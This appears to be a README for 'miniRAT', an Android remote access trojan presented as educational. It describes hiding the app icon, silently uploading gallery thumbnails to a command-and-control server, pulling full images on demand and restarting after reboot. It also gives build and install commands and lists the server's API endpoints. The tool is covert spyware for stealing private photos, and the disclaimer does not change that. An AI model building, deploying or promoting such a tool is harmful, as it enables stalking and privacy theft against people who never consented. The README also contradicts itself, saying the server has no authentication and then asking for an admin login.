A minimal, educational Android Remote Access Trojan
Stealth gallery exfiltration • Full image on-demand • Auto-hide from launcher
miniRAT silently scans a target device's gallery, exfiltrates thumbnails to a C2 server, and lets you request full-resolution images on demand — all while invisible to the user.
Caution
The C2 server is NOT production-ready. It is intended for local testing and development only.
- No authentication or access control
- No HTTPS/TLS (plaintext HTTP)
- No rate limiting or input validation
- No device identity verification
- Potential path traversal vectors
Do NOT expose this server to the public internet. Use it only in controlled, local network environments.
📱 Target Device 🖥️ C2 Server (dashboard)
App installed → icon vanishes → node server.js (:5000)
foreground service starts →
┌──────── Every 30 sec ────────┐ ┌──────────────────────┐
│ │ │ │
│ 1. HEAD → server up? │────────▶│ ✓ 200 OK │
│ no → idle, retry later │ │ │
│ │ │ │
│ 2. Scan gallery │ │ │
│ skip already-uploaded │ │ │
│ │ │ │
│ 3. POST thumbnails │────────▶│ Save to ./uploads │
│ (128×128, ~10 KB each) │ │ │
│ │ │ │
│ 4. GET /api/requests │────────▶│ Any full-image │
│ any full-image requests? │ │ requests queued? │
│ │ │ │
│ 5. POST full images │────────▶│ Save to ./full_res │
│ (parallel thread) │ │ │
└──────────────────────────────┘ └──────────────────────┘
|
|
git clone https://github.com/Rhishavhere/miniRAT.git
cd miniRAT
echo "SERVER_URL=https://your-server.com" > app/local.properties-
Install dependencies:
npm install express cors multer dotenv express-session
-
Configure Authentication: Create a
.envfile in the root directory:ADMIN_USERNAME=your_username ADMIN_PASSWORD=your_password
-
Run Server:
node server.js
./gradlew assembleDebug
adb install app/build/outputs/apk/debug/app-debug.apk- Tap app icon once → grant permission → icon vanishes
- Thumbnails start appearing on dashboard
- Hover any thumbnail → click "📥 Request Full"
- Wait for next scan cycle → "⬇ Download" button appears
miniRAT/
│
├── 📱 app/src/main/java/com/app/minirat/
│ ├── HeadlessMode.java # Entry: permission → service → headless
│ ├── Service.java # Lifecycle + scan scheduling
│ ├── GalleryScanner.java # MediaStore queries + image processing
│ ├── NetworkManager.java # HTTP: ping, upload, request queue
│ ├── UploadTracker.java # SharedPreferences deduplication
│ ├── MediaItem.java # Data class (id, uri, name)
│ └── BootReceiver.java # Auto-restart on reboot
│
├── 🖥️ server.js # C2 server + live dashboard
│
└── 📁 uploads/
├── *_thumb.jpg # Thumbnails
├── *.metadata.json # Upload metadata
├── requests.json # Pending request queue
└── fullsize/ # Full-resolution images
| Method | Endpoint | Description |
|---|---|---|
HEAD |
/api/thumbnails |
Reachability check |
POST |
/api/upload/thumbnail |
Upload { filename, thumbnail } |
POST |
/api/upload/fullsize |
Upload { filename, image } |
GET |
/api/thumbnails |
List all (with fullsize/pending status) |
GET |
/api/fullsize/:file |
Download full-size image |
GET |
/api/requests |
List pending requests |
POST |
/api/request/:file |
Queue a full-image request |
DELETE |
/api/request/:file |
Mark request as fulfilled |
GET |
/ |
Live gallery dashboard |
Educational and authorized security research only. Only install on devices you own or have explicit written authorization to test. Unauthorized use against devices you do not own is illegal and may violate computer fraud laws.
Built for learning. Use responsibly.